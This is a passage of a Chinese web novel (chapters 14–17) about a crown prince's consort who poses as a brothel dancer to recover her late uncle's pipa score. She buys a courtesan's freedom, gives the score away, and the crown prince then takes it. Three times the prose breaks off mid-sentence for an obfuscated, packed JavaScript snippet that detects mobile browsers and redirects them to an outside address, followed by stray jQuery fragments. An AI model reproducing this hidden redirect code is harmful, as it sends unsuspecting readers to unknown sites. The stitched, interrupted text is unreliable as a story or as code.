“勾什么人,勾人。你再不快点,一会儿老板来勾你的命!”其他人早已去四寻其他姑娘,闻言恶狠狠骂了一通那小厮。
几人动作很快,没一会儿姑娘们就被寻齐了。那和宁菘蓝说话的小厮拉着她站在后头,也许是出于心中那点悸动,小厮对她说:“你们一会儿是去给咱们那位大主顾跳舞,你出挑点儿,能得赏!”
“好…谢谢大哥。”宁菘蓝学着沈嫚儿那柔柔的语气说话,果真又把小厮哄的心花怒放。
姑娘们换好衣服,一个个半露香肩,脚上手上都带着铃铛和银饰,叮铃当啷地和小厮们往那包房走。
老鸨正在门口候着,一个个让进去了,唯独看到宁菘蓝时突然将人拦下:“诶你,怎么戴着面纱来了?你是谁来着?”
“妈妈您不记得了,我是姝儿啊……”
“姝儿?”老鸨上下打量一下,身形确实相似,这是这声音……
“戴着面纱不行,脱了。”
“……妈妈,我最近哭太多,不仅嗓子哑了,脸也肿了,不得已才戴面纱。”宁菘蓝向那小厮的方向退一步,状似无意碰了那小厮一下。
小厮被碰了一下,感受到姝儿向自己求助的意图,心中那点男子气概登时冒出来,他向前走一步,站在姝儿面前说:“老板,姝儿身段好,跳舞比旁人都好看,您还是让她去吧。”
老鸨也被提醒,看看这身段确实漂亮,比前几个进去的都要好,心下也有了决断:“那这样,你进去站在前面。但不要开口说话,那面纱也莫去了,免得客人看到你的脸影响心情。”
宁菘蓝点点头,顺利走入包房。
这包房比她们的大了不少,房内用物十分考究,帘子像是紫绡纱,桌子像紫檀木,房中还竖着一道屏风,玉上刻着梅兰竹纹样。这种奢华的装饰,一看就是褚拭雪的风格,且以烟柳楼的营收定然是置办不起这套东西的,大概都是褚拭雪自己的放在这,他应该常来。
地面上铺着极为柔软的地毯,宁菘蓝随着其他姑娘一样,光脚踏上去,按照老鸨的吩咐站在了前面,直面褚拭雪。
而褚拭雪端坐在正中椅子上,一女子坐在一边地毯,将头歪在他的膝盖上,他手正有一搭没一搭地搔着女子的下巴,像在逗弄一只宠物。
二人四目相对,褚拭雪意味不明地上下打量宁菘蓝,只是在目光接触到其裸露部位时被烫到般光速挪开,最后成了只一个劲儿盯着她的眼睛看。
宁菘蓝看到他的眼神心下嗤笑:不知身经几百战了,还装纯情。
褚拭雪则是望着那双澄澈的眼睛心想:这宁娘子,眼睛还挺好看。
14. 第 14 章
“当啷——”
琵琶声铮铮入耳,伴着曲子,众女们甩起衣袖纷纷舞动身子,宁菘蓝也不例外。
她瞥着斜后方那人的动作,依靠自己多年学舞的经验勉强跟上了节奏,不至于叫旁人看出什么端倪。只是动作衔接间仍有些凝滞,这分秒的破绽逃得过房中众人眼睛,却逃不过正坐其前的褚拭雪的眼睛。
他低头抿了口花梦染递来的酒,饶有兴致地盯着宁菘蓝,她虽然对动作不熟悉,但是身体软,也有经验,照猫画虎也漂亮得很。
此女,真是不负盛名。
很早之前,褚拭雪就听闻过宁菘蓝。其父宁飞掣是当朝威名赫赫的飞燕将军,从无名兵卒一路爬上将军的位子,多次参与边关战事,于国有功。某次回京述职,正赶上宫宴,宴上对宁菘蓝母亲谢问凝一见钟情,誓要将谢问凝娶回家,便自请留在京城,甚至甘愿为此交出兵权,好在皇上本就念其有功,并未收回。
谢问凝呢,则是出身于书香门第的大家闺秀,琴棋书画样样精通,温婉贤淑的美名也是闻名京城的。若换做旁人,面对一个大老粗将军的追求指不定背后多嫌弃,但她不同,她反而觉得宁飞掣真性情、真君子,纵然有众多追求者,却还是独独选了那个宁飞掣。
二人便这样喜结连理,婚后第一年有了宁菘蓝嫡兄宁泓煜,第二年有了宁菘蓝。
而在二人的培养上,宁飞掣主要负责宁泓煜,谢问凝则主要负责宁菘蓝。夫妇二人齐心合力,将儿子培养成了如今的少将军,女儿培养成了京城第一贵女,教子有方的美名传于天下。
且宁飞掣此人极为忠贞,在当今人人三妻四妾的时代,他却独守谢问凝一人,二人夫妻恩爱至今,京中谁人说起来都啧啧称奇。
宁菘蓝在这样的家中长大,日后嫁人却莫名成了“妾”,还与他人共事一夫,她心中不知得多恼。
宁菘蓝对褚拭雪这纷繁复杂的心思全然不知,她强忍从手腕脚踝间隐隐传来的不适感,仍然卖力跳着舞,寻找琴谱的踪迹。
褚拭雪一看宁菘蓝那时不时飘走的眼神就知道她在找什么。他将手中扇子往旁一搁,从怀中掏了会儿掏出一本书,将其卷吧卷吧放在手中,又轻巧地用书勾起花梦染的下巴:“花娘,今日我为你带来了一份礼物……”
宁菘蓝本飘忽的眼神突然一定,定在了眼前人的手上,角度刚刚好,让她非常清楚的看到了那封面上所写的“梅花琵琶抄其一”,正是慕绮大师留下的那本琴谱。
只见花梦染被褚拭雪挑着下巴,露出一个羞涩的笑,缓缓伸手想接过那本琴谱。
宁菘蓝将眉一皱,也不再看其他人的舞蹈动作,快速旋了几个身,借着旋身的掩护不断靠近褚拭雪他们,直到最后彻底逼近,她一个扭腰将自己靠上褚拭雪另一个膝盖,顺势坐下,又将双手抬起,附在了褚拭雪那拿琴谱的手上。
“郎君。”
她吐气如兰,将头颅轻轻靠在褚拭雪肩膀,侧过脸直冲他颈窝吹气。
褚拭雪本就是为了钓她才说那话,可真将人钓来他又傻眼了。
一个女孩家…怎么,怎么上来就坐人腿、冲人吹气……!
褚拭雪被那几缕气息吹得起了一身鸡皮疙瘩,平日里他从不让人近身,更无人敢近他身,故褚拭雪从未与人有过如此亲近的接触,别说坐腿吹气了,就连普通的牵手拥抱都可以说没有。
胆子太大了。
褚拭雪将书放下,抬手便想推开她,可不想宁菘蓝伸手就抱住了他的脖子,将胳膊往上一搭,娇滴滴的就开始了:“郎君莫要推开,求您,求您也怜爱怜爱姝儿吧。”
一句话,恨不能拐出个九曲十八弯的声调,许会让旁人听起来心猿意马,可褚拭雪,简直浑身不自在。
而本趴在褚拭雪另一个膝盖上的花梦染早把自己弹开了,她默默想,天知道是哪冒出来个奇女子,敢这么坐在主子身上,真是勇猛无畏。
“……姝儿,这么心急啊?”
褚拭雪低头望向怀中人,眼神幽深,宁菘蓝也含着笑回望。
房中众人此时呆的呆傻的傻,他们见过迫切攀权附贵的,但是没见过这么迫切的。花魁娘子还坐在那,这姝儿就敢去勾引人家的客,这不是公然的挑衅吗?
跳舞的姑娘们此刻也停了,奏乐的也停了,一个个悄悄看向站在一旁的花梦染。
花梦然被看得无奈,只好轻咳一声,强行唤来自家主子的视线,褚拭雪也知道今天这戏是不
用再往下唱了,便道:“罢了,花娘你们都下去,今日我和姝儿谈谈心。”
“是。”
花梦染很是乖巧地推开了门,带着众人离去,包房门关闭,将众人奇怪的目光尽数遮挡。
“这姝儿好生奇怪,前不久还在为上个客人神伤,怎的今日就如狼似虎。”
“切,我们这种身份爱上客人本就荒唐,她如今清醒了不好吗?”
“她敢抢花魁的主顾,最好祈求今日那人就将她赎了,否则以后可没她好果子吃。”
众人议论纷纷,花梦染却像没听到似的,缓步离去。
屋内,宁菘蓝还在褚拭雪腿上坐着,只是胳膊稍有点累了,将其放在褚拭雪胸膛上歇息:“客人,您刚刚要送给姐姐什么东西啊?”
“……”
褚拭雪不答,将放在一旁的曲谱拿起又扔开,扔到了房间角落的位置,才说:“你想要?”
宁菘蓝的视线随着曲谱的抛物线一路落在地上,看到曲谱轰然落地,她急得倒抽一口凉气。慕绮先生是她的师叔,也是她极敬爱的长辈,长辈的遗物被这样对待,宁菘蓝简直想当场抽褚拭雪几个嘴巴。
“想要,姝儿想要。”她勉强压下心中那份气。
“哼,”褚拭雪哼笑一声,一手支着身子,一手搭在旁边桌面,以极疏离的语气又道,“是姝儿想要,还是太子侧妃想要?”
“您说什么?”
褚拭雪突然伸手,一个用力将人抬起,将人好好放在地上了才道:“宁娘子,我们还是打开天窗说亮话吧。”
“……也好。”宁菘蓝站直身子,沉默片刻,一歪头,将蒙在面上的面纱去掉。
褚拭雪看到面前熟悉的脸,忍不住弯弯眼睛,礼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957474|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尚往来也把自己脸上的伪装撕掉了,暗沉粗糙的一张皮下,露出了玉貌昳丽的一张脸来。
“又见面了,真是甚是有缘。”褚拭雪寒暄。
可宁菘蓝没这闲功夫和他打太极,直截了当:“你将自己的行踪送到我面前,不就是等着我来找你吗?你有什么目的不妨直说。”
“嗯?”褚拭雪一皱眉,“我送什么行踪了?”
“……少装。”宁菘蓝讨厌这种满嘴弯弯绕的人。
“噗……”褚拭雪被她的表情逗笑,“好吧,今日见这场面的确也有我的促成,我知晓你想要这份曲谱,正好,我也有些东西想从你这里得到。”
“但问无妨。”
“中秋宫宴那日,你都做了什么?”褚拭雪收敛了笑,眼神认真起来,“我劝你想好再回答,毕竟我是带着答案来向你提问的。”
“那日啊……”宁菘蓝不准备说得太明白,她不知道褚拭雪是出于何种目的来质问她,但是她知道不可落人话柄,“救了条幼蛟。”
“可化龙的那种,幼蛟?可据我所知,没人觉得那是条幼蛟。”
“没人觉得不代表他不是,未来之事谁人可以预料呢?”
她莫不是知晓了什么?
褚拭雪心中怀疑,试探道:“宁娘子救它是出于同情还是有些别的心思?要知道,常人可不敢救一个畜生。”
宁菘蓝闻言突兀的一瞪,他怎么能骂人呢?
“我是道家人,多救生灵给自己积德,不行吗?”
褚拭雪一愣,连道家人都出来了,这人的嘴……
“嗯,好。”他口上草草附和,紧接着转移话题,“听闻道家人都会算命,我很好奇,你会吗?要不算算,你救的那只蛟生于何处,又会到何处去?”
“那只蛟啊,生于宫墙,去…去向自由天地。”宁菘蓝胡编乱造。
褚拭雪听到这话,半放下心,最起码她应该不知道太多。
他们兄弟二人的确生于宫墙之内,但绝不会去往自由天地,他们只会拼了命往那最深处爬,爬上至高无上的位置,将所有仇人一一绞死。
宁菘蓝并不知道正是这一句胡话打消了褚拭雪的怀疑,她只一心盯着那本曲谱,不想让师叔的心血蒙上尘土。
“罢了,你去捡起来吧。”褚拭雪看着她那望穿秋水的模样,心中无奈,全世界是不是只有这些东西才会引起她的注意。
宁菘蓝闻言立刻动了,她看也没看褚拭雪,而是走过去蹲下身子,小心翼翼地将谱子拾起,轻轻拍几下上面的浮土,虽然大部分土能擦掉。但是还是有会很多污渍在上面,宁菘蓝左看右看,面上凝重。
看她那臭着的一张脸,褚拭雪想起她对慕绮作品的看重程度,也有些不自在,摸摸鼻子说:“别急,那是誊抄版,正版的,还在我那书房放着。”
“誊抄版?”宁菘蓝瞪了瞪眼,“你怎么不早说!”
“你也没问啊,刚刚看到那玩意就两眼放光,像条看到骨头的小狗,我哪里栓的住你。”褚拭雪又嬉皮笑脸起来,嘴巴欠得一如既往。
“你才是狗。”
15. 第 15 章
二人拌了几句嘴,等褚拭雪再三保证一定会让人将曲谱送给她之后,宁菘蓝才勉为其难的离开。
她随手挠了两下手腕,开门看看四处无人,才戴着面纱离开。
待宁菘蓝关上门,都蒙从窗外翻身进来。
“明天把曲谱给我们宁侧妃送去,顺便,再给她几罐雪莲膏,好歹是太子身边人,每天那手腕、脚腕像猫挠了似的。”
都蒙本还低着头听命令,只是听到褚拭雪那句“猫挠似的”,腾得抬起头,唇角露出一抹莫名的笑:“主子,你没事看人家手脚干嘛,还几罐雪莲膏,一罐就价值百两的东西,您倒是送的挺顺手啊?”
“……我点星阁有钱,区区百两,送不起吗?”
“送的起,送的起,只是这种东西,轮得到您送吗?”都蒙眼睛撇开撇去,那语气听起来怎么都不对劲。
褚拭雪被他说得浑身不舒服:“这都是人情,她以后要还的,让她欠得多了,以后也许能让她为我所用呢?”
“啊?”都蒙恍然大悟,可随即又像想起了什么,揶揄道,“可是我记得上次嘉钰主子说这事,您还死不同意呢,说什么不定数太多,难以控制,还说什么冒失鬼……”
“都蒙,以后你和竺七换换班,省得你太活泼,惹人嫌。”褚拭雪拿起扇子,径直离开包房。
都蒙一愣:“主子,你别看竺七那三棍子打不出个屁的表象,他小子也八卦着呢,你和嘉钰主子说的话都是他学给我听的……!”
褚拭雪办完事情离开了,可宁菘蓝这边还有一堆烂摊子等着呢。
她借用姝儿的身份,得罪了花魁,可能会为之招来祸患,还是得将她送走,才能让她免受牵连。还有红螺那边,不知红螺怎么应付着乐琰,有没有出什么事……
宁菘蓝回到姝儿房间,将自己衣服换上后准备先行离开,可没想到刚拉开门,身后便传来一阵呻吟声。
真正的姝儿醒了。
这也太巧了。
宁菘蓝无奈,只好祈祷红螺能应付得了,自己先回头看向姝儿。
只见姝儿慢慢坐起身,捂着头神情痛苦,她喝了酒又被打晕,此刻头里像装了五百只□□,太阳穴突突跳着疼。
“你……你到底是谁?”她抬眼望向走来的宁菘蓝,嗓音沙哑。
“你先喝点水。”
宁菘蓝没回答,先给她倒了杯水喂到嘴边,姝儿看着送上来的水杯,只好先启唇抿几口,又说:“我听到你对我说的话,你说希望我睡一觉能……”
“好吧,我借用你的身份做了些事情,可能还得罪了花魁。”
姝儿这边还沉浸在宁菘蓝临走时对她的劝导,骤然听到宁菘蓝的认错,她愣了一愣。
“你说什么?”
“我说我可能用你的身份,得罪了你们的花魁。”
“……你,你,你做什么了?”姝儿嗓子又干涩起来。
“我抢了她的客人,那个什么大主顾。”
“嘶……”姝儿倒抽口气,“你抢了那个大主顾?一手把花魁推上去的那个?”
宁菘蓝想想褚拭雪那厮的德性,他能干出来这事,应该就是他,点点头。
“不过!你别担心,我一定会对你负责。”宁菘蓝伸手扶住姝儿向下倒的身子,认真说,“只要你想,我就帮你赎身。”
“你?”姝儿本心灰意冷的闭上眼睛,闻言睁眼看了会儿她,怀疑,“你是女子吧?赎我干嘛……难道,你有磨镜……”
“你想哪里去了!”
宁菘蓝被姝儿的脑回路震撼,无奈道:“因为我的缘故给你添麻烦,我理应负责的。且我觉得你大抵不想委身于这烟柳楼,索性要不就帮你赎身?”
“可你帮我赎身,我又为你做不了什么。”姝儿语气低落。
宁菘蓝无奈,弯下腰用手抬起姝儿垂下的头,认真道:“你不需要考虑这些,只对我说,你想要就好。”
宁菘蓝的这句话里含着坚决的肯定,好像在告诉姝儿,只要决定了,这件事就无可辩驳,板上钉钉。
饶是姝儿曾经的那个相好,都没有给过她这样的感觉。
莫大的安全感、被重视感,以及莫名的信任感。
男女之间,以爱为链接,男人会三妻四妾,不爱便抛弃。可是女人之间呢,她们之间没有爱情,却会有其他感情,而这种感情往往会比爱情更长久,更坚实,更让人信任。
“我……想要。”
姝儿沉默良久,才一字一句攥着宁菘蓝的手道。
“好,一会儿我就去赎你。”
“……一会儿?”
姝儿一愣,她本以为最快也会是明日。
她被不少男人承诺过,“明日我来赎你”、“后日我来赎你”,可等到明日人未来,后日人也未来,日复一日,那些曾经说过要赎她的人再未出现。他们或是直接消失,或是差人送了信,卖可怜说自己实在无法,各有各的理由。
她以为宁菘蓝也要回去再考虑一二,可没想到,她竟直接要带自己走!
“你不再考虑?”
“……啊?”宁菘蓝向外望着人,回过头看了她一眼,说,“这事考虑什么,速战速决最好,你先收拾东西,等我一会儿带你走!”
说完,她便推开门先行离开。
望着她的背影,姝儿心中没有一丝不安,因为她觉得,她一定会来接自己。
宁菘蓝从后院出来,再次回到了烟柳楼后方,看看二楼的高度,她叹口气。
今天好累啊。
嘴上抱怨着,可她动作未见凝滞。脚下用力,身体轻盈向上一翻,待与二楼高度齐平,她双手一扒扒住窗台,悄悄向自己的包房里望去。
包房里红螺和乐琰相对而坐,乐琰背对着她正在低头弹琴,红螺则是满脸忐忑,四处乱瞟,当看向窗户时,突然看到窗户边那双明亮的大眼睛。
她脸上先是一惊,然后就笑起来。她立刻站起身,对乐琰说:“乐琰,你去楼下帮爷要点小菜,爷饿了,而且那边睡着的爷也快要醒了。”
乐琰闻言一怔,看看被屏风挡住的那侧,低下头应是,便抱着琴起身离开。
等乐琰离开,红螺才赶紧跑到窗前,帮着宁菘蓝爬进来。宁菘蓝平稳落地后先深吸一口气,冲红螺点了点头。
红螺心知这是办成了,便替宁菘蓝整着装束,让人坐在位置上休息。
没坐一会儿,乐琰回来了,他身后几个小厮带着菜,将之放上桌便离开。
宁菘蓝和红螺面面相觑,伴着乐琰的奏乐声吃了几口,眼看时间过去不少,宁菘蓝站起身示意
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959279|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
红螺离开,二人没看乐琰,自然也没注意到乐琰眼底的渴望。
“红螺,我跟你说件事。”走出烟柳楼没几步,宁菘蓝拉着红螺进了另一间小铺,悄悄说。
……
“……您出去一趟,就要赎个人?”红螺一脸诧异。
“姝儿不一样嘛,我欠了她,得对她负责。”
红螺生无可恋:“……到底还有几个好姑娘等着您负责?”
尽管她不太同意,但她始终是拗不过自家主子的,只好看着宁菘蓝找了个人去赎姝儿。
二人等了一会儿,果然看到那人带着姝儿过来了。
“娘子。”
刚见到宁菘蓝,姝儿就跪下了身子,仰头流泪:“谢谢娘子大恩,姝儿愿当牛做马,伺候您一辈子!”
“……我不缺仆人,既然你已有了自由,便尽情享受吧。”宁菘蓝笑。
“当然,若是遇到了什么过不去的,便去奕国公府,报我的名字。”
“……奕国公府?”
“若遇难,我的家人一定会帮你。”
宁菘蓝握着她的手,动作轻柔地将人扶起,随即便离开。
“娘娘,您赎了她,却又放她走,为的什么?”
“我啊……”宁菘蓝坐在马车上,轻轻弯起唇,“为的就是女子的一生。我无法掌握人生,若是她能,那再好不过。”
她注定要在东宫中与太子斗,与未来的沈嫚儿斗,与金书口中的循环斗。
即使已成魂灵,她却仍被迫重生,从那时起她便知晓,成功了她也许能回家,可若失败了,她就会一直陷在循环中,不生不死,不断重来,也许有一天直到她崩溃,也无法逃离。
红螺不懂宁菘蓝的心,她只知道自己从山上回来后,娘娘便心思重了很多,每日无事时也不坐秋千、不看花了,只是自己枯坐在房中,表情怔忪,沉默。
马车驰在中大道上,飘飞的布帘间能依稀看到街上叫卖的小贩,路过避让的人群,男女老少,父母夫妻。
“若是我不断循环,他们也会跟着我一起吗?”
日复一日走在街上,也许早就死了十几年的人,却又被迫循环,走上熟悉的人生轨迹,不断往复,老人无法老去,孩童无法出生,历史无法前进。
“那我岂不是时代的罪人?”
宁菘蓝脑子胡思乱想,长吁短叹。
宁菘蓝离开了,姝儿也背着行囊离开,只是在他们谁都没看到的角落,乐琰站在烟柳楼二楼,隔着窗子久久注视她们的背影。
他早就看得出红螺是女子,后来的宁菘蓝自然也是。他知道宁菘蓝其实一直不在房内,是在他离开后才来,他以为女子心软,也许能为他赎身,早救他于水火,可他没想到她们连看都没看他一眼便走了。
他以为二人铁石心肠,可偏偏她们又赎了个姝儿,原以为是密不透风的铁桶,原来只是不许他进入而已。
为什么?
谁人都有拯救者,为什么只有他没有呢?
乐琰望着早已看不见踪影的马车,好像望着望着,就能化作魂魄,追随而去,逃离这方地狱。
“乐琰,赶紧给我出来!今日要拍卖你的初夜,你别给我生事!”
包房门被敲得砰砰作响,仿佛下一秒就能轰然倒塌。
16. 第 16 章
翌日,都蒙将曲谱毕恭毕敬地放在了宁菘蓝桌上,出于一点小私心,他故意挑宁菘蓝在的时候来。
宁菘蓝望着面前这个小侍卫,轻轻点了点头以示谢意,小侍卫也笑笑,之后便一直站在那看她,不走也不说话。
“……红螺,你把我的那只金钗拿来。”
宁菘蓝看着他这幅模样突然想起什么,赶忙站起身吩咐红螺。
待金钗拿来了,宁菘蓝从红螺手上接过,又递给都蒙,说:“谢谢您专门跑一趟,一点心意请收下。”
心意?
都蒙看着手上被塞进来的金钗,恍然大悟。
这是传情信物啊!
自家大人给她送曲谱,她感激不尽决定以身相许,所以才说这金钗是一点心意,金钗就是信物,代表了她的心意!
不枉他在这多站了一会儿,这不就成二位的红娘了吗?大人对她态度挺好的,她又这么直白的表达心意,看来他们真能成!
都蒙嘴一咧,兴奋道:“好好好,您放心,我绝对把您心意送到!”
说完他便用此生最快的速度离开,三下五除二就翻出了二里地。
“……诶?”
宁菘蓝看着那快出残影的身影,一脸茫然,这小侍卫说什么心意?
算了,左右人已经走了,宁菘蓝没多为这事疑惑,而是转而看向桌面上的曲谱。
曲谱页数完整,每一页都保护得极好,明明已是许多年前的旧物,也经过多次辗转,却还能保持纸张洁净如初,墨迹清晰可辨,可见上一位拥有者对其也十分珍惜。
“娘娘,您费那么大力气拿到这曲谱,真的要送给沈嫚儿吗?而且,这是您师叔的遗物啊,何不自己留下?”
红螺能看到宁菘蓝对这曲谱有多么珍惜,但正因能看到,才十分疑惑,这么珍贵的东西怎么能交给敌人。
宁菘蓝闻言却笑了,她抚抚封面上“慕绮”二字,声音有些飘渺:“还记得小时候,在师傅那里学琴,每次弹不好都不准吃饭,我倔,不让吃饭就硬挺着。但每次饿得难受的时候,又总能在角落找到一碗蛋炒饭,明明那饭里还掺着蛋壳呢,但我吃着特别香!”
“后来我才知道,那都是慕绮师叔悄悄给我送来的,因为太溺宠我,我师父和他还打过几架。”
沉浸在回忆中,宁菘蓝难得放松下来,只是后来慕绮的遭遇又让她沉默许久,才继续道:“慕绮师叔和我说过,他的曲谱本身没什么价值,只有在爱它们人的手里,才能有点用处,我身边,也只有一个沈嫚儿是真心爱琵琶的。我连琵琶都不会弹,哪里有脸留下这本曲谱叫它落灰呢?”
“……”
红螺沉默了,即使是敌人也没关系吗?
“你帮我把曲谱送去吧,这样我就不欠她了。”宁菘蓝最后爱惜般抚抚书,递给了红螺。
红螺点头,拿起书离开。
“主子!!”都蒙咆哮着跑回来,手里拿着一根金钗,像拿着什么圣火似的。
竺七正侍奉褚拭雪,手里拿着墨条一点点磨出墨迹,被骤然接近的声音吓得一震,他抬眼看看褚拭雪,发现他手中的笔也在纸上画出了一道长长的痕迹。
褚拭雪将笔重重一放,两手抱起臂,抬头望向来人:“滚出东厂。”
“……啊?”都蒙刚进门就被要求滚出去,他嘿嘿一笑,“主子,处理公务处理生气了吧,别生气,看我给您带什么回来了!”
他献宝似的拿出一根金钗,还欢快地左右摇一摇才递上去。
“这是什么?你的赔罪礼?”竺七默默开口。
“啧,我赔什么罪啊,这是宁娘子给的,她说这代表了她对主子的心意。”都蒙眨眨眼。
褚拭雪本不耐烦的神色一愣,拿起放在桌面上的金钗端详了一会儿,饶有兴致地说:“送金钗,代表什么心意?”
“……嘿嘿,依我所见,这绝对是对您芳心暗许。金钗金钗,取义情比金坚,也就是她对您的爱,简直比金子还坚固!一切明了了。”都蒙一拍手,一副神捕的模样。
褚拭雪摇摇头:“她夫君是太子,他们青梅竹马情比金坚,为什么突然对我示爱?”
“这…她一定是知道了太子的真面目,所以转而喜欢您了!”
“哧……”褚拭雪将金钗随手放在一旁,“都蒙啊都蒙,你若是把这些心思全部放在公事上,柳良吉的背后之人我们早就查出来了。”
“柳良吉不是竺七看着呢,不过那些人怎么还不来,都等那么久了……”都蒙嘟嘟囔囔,注意力又被转移走。
身边都蒙在骂那幕后之人是缩头乌龟,褚拭雪听着,没反应,只一直看着那只金钗,不知在想什么。
今日,燕谨之难得被皇帝放过,他溜溜达达回到东宫,想来想去朝着宁菘蓝宫里走,可走一半却被身边的侍卫拦住:“太子殿下,您该去看看太子妃了。”
“我不就是要……”燕谨之突然一默,他脸色难看的瞥了眼侍卫,转而向沈嫚儿那里走去。
他没让人通传,也没带其他人进去,准备随便走个过场就转而去看看宁菘蓝,只是没想到刚走至门前,就听到里面的沈嫚儿在对谁说话:“真的是宁姐姐帮我找来的吗,谢谢宁姐姐,谢谢宁姐姐!”
其语气中的满足与幸福,饶是站在门外的燕谨之都听得出来。
他们大安姓宁的人少,唯一一家便是奕国公府,宁菘蓝母家。
燕谨之悄无声息地推门进入,看到沈嫚儿欢天喜地的抱着一本书,面上笑着同她的丫鬟说话。
丫鬟花溪本也笑,只是抬眸看到燕谨之,登时脸就白了下来,连忙跪伏身子:“见…见过太子殿下。”
沈嫚儿听到她的话,身体也止不住抖了几下,她慌忙想把曲谱往自己怀里塞,可无奈燕谨之早已来到她身后,一把就攥住了她的手臂:“藏什么呢?让夫君看看。”
燕谨之强制将她手中的曲谱夺过,沈嫚儿只能眼睁睁看着那曲谱脱离自己手心,落入燕谨之手中。
“乖嫚儿,夫君只是看看。”燕谨之抓过沈嫚儿挣扎的手指,敷衍地亲了几下。
沈嫚儿却像被亲愣了,手指弹动几下,随即便害羞似的钻入手心,不再挣扎。
曲谱上写着“梅花琵琶抄慕绮”。
燕谨之认识慕绮也是从宁菘蓝那里,当时他去步怜青处接她,恰好看到步怜青与慕绮说笑,介绍起来才知,原来那就是极有名气的琵琶大师慕绮先生。
慕绮死后,其遗下的曲谱被天价收购走,极少流传在世,直到如今,已经很少有人能见到了,纵使沈家那般的权势都找不到。
“这是你宁姐姐给你的?宁菘蓝?”
燕谨之弯腰抱着沈嫚儿,状似亲昵,实则将人牢牢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14979019|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
禁锢在怀中,不容一丝反抗。
沈嫚儿是个记吃不记打的人,明明身体对燕谨之仍有残留的生理性颤抖,心里却因这动作塌陷一块,她点点头,轻轻靠在了燕谨之胸膛。
燕谨之感受到她的放松与贴近,不禁暗笑,这就是他随意磋磨她的底气,因为太好哄。
“这曲谱,能给我吗?”燕谨之低头望她。
沈嫚儿闻言一愣,有些为难:“可这是慕绮大师的遗作,而且,是姐姐送我的生辰礼。”
她私心将回礼说作生辰礼,在她看来,只有这样才能说明宁姐姐也是爱她的,不是出于什么回报的目的,只是单纯因为爱她,所以才对她好,和太子殿下一样。
他们都爱她。
“……宁菘蓝送你的生辰礼?”
燕谨之以为宁菘蓝只会敷衍般随意送她点什么,毕竟她们二人中间隔着他,应该是情敌、仇人,她不会真心希望沈嫚儿好。
可这是什么意思?
她们和好了?
沈嫚儿这里没有问题,那就是宁菘蓝。
她不恨沈嫚儿了,还是她不爱他了?
燕谨之渐渐攥紧了胳膊,毫无怀里还抱着个人的自觉。沈嫚儿被勒的有些喘不过气,明明痛苦,她心中却又莫名充溢满了幸福。
令人窒息般的爱情,竟歪打正着让沈嫚儿着迷。
“这曲谱我要了。”
燕谨之不准备继续和沈嫚儿商量下去,他阴沉着脸发号施令,不想沈嫚儿身体一颤,脸都羞红了,她软着手捏了捏燕谨之的衣角:“我的…都给您。”
燕谨之惊奇于沈嫚儿竟然这么乖,简直像一只予取予求的鸟雀,他也乐得轻松,脸色稍稍好了点,哄道:“谢谢我的好嫚儿,夫君晚上再来看你。”
最后的话含着暧昧,任何一个知过事的女人都知道那是什么意思,沈嫚儿也不例外,她红着脸,恨不得现在就软倒在燕谨之身上。
上次只是意外,明明其他几次,太子殿下都很温柔的,这次,应该也会……
她偷偷想着,连燕谨之何时离开的都不知道。
花溪看着自家娘娘又一副满面春情的模样,心中悲愤。
宁侧妃好不容易找到的曲谱,就这样被自家娘娘转手送人了,若是宁侧妃知道。
……
不需要若是,宁菘蓝已然知道了。
她看着走进来的燕谨之,一眼就瞥见了他手上拿着的“梅花琵琶抄”。
她应该知道沈嫚儿护不住的。
“你送给太子妃的生辰礼?”
燕谨之来就带着兴师问罪的态度,他手下用力朝她一扔。
曲谱重重拍在宁菘蓝侧脸,又滑落下去,留下一片红痕。
宁菘蓝应激地闭了闭眼,复又睁开看向他:“怎么,你不是让我送的吗?”
“梅花琵琶抄不是你师叔的遗物,送给她,你还真舍得啊?”
“她真心爱琴,为何不能送?”
“真心爱琴?那为什么我一找她要,她上赶着送我啊,还说这破东西不算什么,我更重要。”
宁菘蓝本撑着的语气一滞,她捡起那曲谱,发现曲谱的确一点损伤也没受,若这是燕谨之强行从沈嫚儿那里抢的,不会这么平整,只能是沈嫚儿拱手送给他的。
是了,沈嫚儿也许爱琴,但她更爱燕谨之。
17. 第 17 章
燕谨之看着宁菘蓝小心翼翼抚着书页,连自己脸上的红痕都没在意。
心中莫名涌上一股快意:“你看到了吗,宁菘蓝。你那么珍惜的东西,原来只是他人为了争我宠的工具,随便就扔了。”
“……谢谢太子殿下给我送回来。”宁菘蓝不接话茬。
燕谨之闻言轻蔑一笑:“谁说我是给你送回来的,沈嫚儿给我了,这东西就是我的,我想怎么处置就怎么处置。”
他踱步到宁菘蓝面前,伸手想摸摸宁菘蓝脸上的红,却被宁菘蓝偏头躲过。
